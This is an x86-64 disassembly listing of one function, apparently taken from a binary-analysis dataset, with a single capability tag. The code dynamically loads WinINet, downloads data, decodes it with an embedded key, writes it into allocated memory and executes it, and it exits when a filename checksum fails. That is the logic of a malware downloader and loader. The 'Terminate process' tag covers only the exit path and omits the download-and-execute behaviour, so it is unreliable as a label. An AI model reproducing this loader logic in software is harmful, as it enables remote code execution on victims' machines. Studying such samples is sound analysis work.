Function at 0x1400a5fd0
Capabilities:
Terminate process

Disassembly:
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rcx, qword [str.kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
mov edx, dword [0x140110264]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
xor edi, edi
xor ecx, ecx
mov rdx, rax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ecx, ecx
movzx eax, word [rsi + rdi*2]
cmp ax, 0x5c
cmove ecx, edi
inc rdi
test ax, ax
jne 0x1400a5ec7
mov rax, qword [0x140110268]
mov edx, dword [rax]
test edx, edx
jne 0x1400a60c3
mov edx, dword [0x140110264]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
mov rcx, qword [0x140110220]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
mov rdx, qword [0x14011025c]
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rdi
mov qword [rsp + 0x48], rax
mov rdx, qword [0x1401101d4]
mov rcx, rsi
call rdi
mov qword [rsp + 0x40], rax
mov rdx, qword [str.InternetReadFile]
mov rcx, rsi
call rdi
mov qword [rsp + 0x38], rax
xor eax, eax
mov dword [rsp + 0x34], eax
mov rbx, qword [rsp + 0x48]
mov rcx, qword [str.Clienthttp1]
mov dword [rsp + 0x20], eax
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rbx
test rax, rax
je 0x1400a6123
mov rbx, qword [rsp + 0x40]
mov ecx, dword [0x140110230]
mov rdx, qword [0x140110270]
mov dword [rsp + 0x20], ecx
mov qword [rsp + 0x28], 0
mov rcx, rax
xor r8d, r8d
xor r9d, r9d
call rbx
test rax, rax
je 0x1400a6123
mov r13, rax
mov rax, qword [rsp + 0x38]
mov r8d, dword [0x140110264]
lea r9, [rsp + 0x34]
mov rcx, r13
mov rdx, r15
call rax
test eax, eax
je 0x1400a6123
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x1400a6123
lea r12, [rsp + 0x34]
mov rdi, r15
mov rsi, rdi
mov ebx, eax
add rdi, rbx
mov rax, qword [rsp + 0x38]
mov r8d, dword [0x140110264]
mov rcx, r13
mov rdx, rdi
mov r9, r12
call rax
test eax, eax
je 0x1400a600b
mov eax, dword [rsp + 0x34]
test eax, eax
jne 0x1400a5fe0
cmp rdi, r15
je 0x1400a6123
mov eax, dword [r15]
add rsi, rbx
mov rcx, 0xfffffffffffffffc
mov rdx, qword [str.46RS.7]
mov edx, dword [rdx + rcx + 4]
add edx, eax
mov dword [rsi + rcx + 4], edx
add rcx, 4
cmp rcx, 0x10
jb 0x1400a6021
mov rcx, r14
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400a6123
mov r9d, dword [0x1401101e4]
mov edx, dword [0x140110264]
xor ecx, ecx
mov r8d, 0x1000
call rax
mov rcx, qword [0x1401101fc]
mov rdx, qword [0x1401101f0]
mov edx, edx
add rcx, rdx
add rcx, 8
mov edx, dword [rcx - 4]
mov ebx, 4
mov edi, dword [rcx + rbx - 4]
add edi, edx
mov dword [rax + rbx + 4], edi
add rbx, 4
cmp rbx, 0x4ffc
jb 0x1400a6087
mov ecx, dword [0x14011020c]
mov dword [rax + 8], ecx
mov ecx, dword [reloc.OLEAUT32.dll_SafeArrayLock]
add rcx, rax
mov edx, dword [rax + 0xc]
add rdx, rcx
mov ecx, dword [reloc.OLEAUT32.dll_SafeArrayLock]
add rcx, rax
call rdx
jmp 0x1400a6123
movsxd rcx, ecx
lea rcx, [rsi + rcx*2]
add rcx, 2
mov ebx, edx
shr ebx, 8
xor edi, edi
mov esi, edi
inc edi
cmp word [rcx + rsi*2], 0
jne 0x1400a60d5
inc dl
cmp dl, dil
je 0x1400a60ee
inc bl
cmp bl, dil
jne 0x1400a6123
movzx ebx, word [rcx]
xor edx, edx
test bx, bx
je 0x1400a6111
xor edx, edx
mov edi, 1
movzx ebx, bx
add edx, ebx
mov ebx, edi
movzx ebx, word [rcx + rbx*2]
inc edi
test bx, bx
jne 0x1400a60ff
cmp edx, dword [rax + 4]
je 0x1400a5eeb
cmp edx, dword [rax + 8]
je 0x1400a5eeb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]